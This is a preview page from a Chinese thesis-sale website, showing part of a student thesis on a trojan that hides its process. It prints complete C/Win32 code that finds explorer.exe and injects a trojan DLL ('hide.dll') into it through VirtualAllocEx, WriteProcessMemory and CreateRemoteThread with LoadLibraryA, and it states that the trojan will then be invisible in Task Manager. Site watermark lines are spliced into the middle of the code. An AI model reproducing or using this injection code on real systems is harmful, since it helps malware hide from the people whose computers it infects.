优秀的毕业设计论文网
计算机 JAVA 电子信息 单片机 机械机电 模具 土木工程 建筑结构 论文
热门搜索词:网络 ASP.NET 汽车 电气 数控 PLC

046_基于进程和通信隐藏的木马

以下是资料介绍,如需要完整的请充值下载.
1.无需注册登录,支付后按照提示操作即可获取该资料.
2.资料以网页介绍的为准,下载后不会有水印.资料仅供学习参考之用.
  
资料介绍:

4 隐藏技术的实现
4.1 隐藏进程
上文介绍了几种隐藏进程的方法,在此,笔者采用远程线程插入的方法来实现进程的隐藏。
首先,我们通过OpenProcess 来打开我们试图嵌入的进程。如果远程进程不允许打开,那么嵌入就无法进行了,这往往是由于权限不足引起的,解决方法是通过种种途径提升本地进程的权限。
hRemoteProcess=OpenProcess(PROCESS_CREATE_THREAD|
PROCESS_VM_OPERATION|
PROCESS_VM_WRITE,
FALSE,
dwRemoteProcessId);
由于我们后面需要写入远程进程的内存地址空间并建立远程线程,所以需要申请足够的权限(PROCESS_CREATE_THREAD、VM_OPERATION、VM_WRITE)。
然后,我们可以建立LoadLibraryA函数这个线程来启动我们的DLL木马,LoadLibraryA函数是在kernel32.dll中定义的,用来加载DLL文件,它只有一个参数,就是DLL文件的绝对路径名pszLibFileName,也就是木马DLL的全路径文件名,但是由于木马DLL是在远程进程内调用的,所以我们首先还需要将这个文件名复制到远程地址空间:(否则远程线程是无法读到这个参数的) 

【www.think58.com计算机毕业论文网】

[版权所有:http://think58.com]


//计算DLL路径名需要的内存空间
int cb=((1+strlen(pszLibFileName))*sizeof(char));
//使用VirtualAllocEx函数在远程进程的内存地址空间分配DLL文件名缓冲区
pszLibFileRemote = (PWSTR) VirtualAllocEx( hRemoteProcess,
NULL, cb,
MEM_COMMIT, PAGE_READWRITE);

图1 基于远程线程插入的程序流程图
//使用WriteProcessMemory函数将DLL的路径名复制到远程进程的内存空间
 ReturnCode = WriteProcessMemory(hRemoteProcess,
             pszLibFileRemote,
pszLibFileName,
cb, NULL);
//计算LoadLibraryA的入口地址
LPTHREAD_START_ROUTINE fnStartAddr=(LPTHREAD_START_ROUTINE) GetProcAddress(phmd,"LoadLibraryA");
我们通过建立远程线程时的地址fnStartAddr(实际上就是LoadLibraryA的入口地址)和传递的参数pszLibFileRemote(实际上是我们复制过去的木马DLL的全路径文件名)在远程进程内启动我们的木马DLL:
//启动远程线程LoadLibraryA,通过远程线程调用用户的DLL文件
hRemoteThread = CreateRemoteThread( hRemoteProcess,
NULL, 内容来自think58 [资料来源:http://THINK58.com]
0,
fnStartAddr,
pszLibFileRemote,
0,
NULL);
下面是本程序实现远程线程插入的核心代码:
char pszLibFileName[MAX_PATH];//存放待隐藏的DLL文件名
HANDLE hProcessSnap=NULL;//进程快照句柄
HANDLE hRemoteProcess;//远程进程句柄
LPVOID pszLibFileRemote;//远程进程中分配给文件名的空间
HMODULE phmd;//存放kernel32.dll句柄
HANDLE hRemoteThread1=NULL;//存放远程线程句柄
PROCESSENTRY32 pe32={0};
DWORD dwRemoteProcessId;
hProcessSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);//打开进程快照
if(hProcessSnap==(HANDLE)-1)
{
MessageBox("CreateToolhelp32Snapshot failed",MB_OK);
return ;
}
pe32.dwSize=sizeof(PROCESSENTRY32);
if(Process32First(hProcessSnap,&pe32)) //获取第一个进程
{
do{
char te[MAX_PATH];
strcpy(te,pe32.szExeFile);
if(!strcmp(te,"explorer.exe")|| !strcmp(te,"EXPLORER.EXE"))
//找到宿主进程,以EXPLORER.EXE为例
{ dwRemoteProcessId=pe32.th32ProcessID; think58 [资料来源:http://think58.com]
break;
}
}
while(Process32Next(hProcessSnap,&pe32));//获取下一个进程
}
else
{
MessageBox("取第一个进程失败",MB_OK);
return ;
}
hRemoteProcess=OpenProcess
(PROCESS_CREATE_THREAD|PROCESS_VM_OPERATION|PROCESS_VM_WRITE,
FALSE,
dwRemoteProcessId);
GetCurrentDirectory(MAX_PATH,pszLibFileName);
strcat(pszLibFileName,"\\hide.dll");
int cb=((1+strlen(pszLibFileName))*sizeof(char));//计算dll文件名长度
pszLibFileRemote=(PWSTR)VirtualAllocEx(hRemoteProcess,
NULL,
cb,
MEM_COMMIT,
PAGE_READWRITE);//申请存放文件名的空间
BOOL ReturnCode=WriteProcessMemory(hRemoteProcess,
pszLibFileRemote,
pszLibFileName,
cb,
NULL);//把dll文件名写入申请的空间
phmd=GetModuleHandle("kernel32.dll");
LPTHREAD_START_ROUTINE fnStartAddr=
(LPTHREAD_START_ROUTINE) GetProcAddress(phmd,"LoadLibraryA");//获取动态链接库函数地址
hRemoteThread1=CreateRemoteThread(hRemoteProcess, 内容来自think58 [资料来源:http://think58.com]
NULL,
0,
fnStartAddr,
pszLibFileRemote,
0,
NULL);//创建远程线程
if(hRemoteThread1!=NULL)
CloseHandle(hRemoteThread1);//关闭远程线程
if(hProcessSnap!=NULL)
CloseHandle(hProcessSnap);//关闭进程快照
}
实现以上代码就完成了对木马进程的隐藏,在任务管理器里是不会发现木马踪迹的。只有借助能查看进程模块信息的软件才能发现是否存在木马,如优化大师,IceSword等。
内容来自think58

[来源:http://think58.com]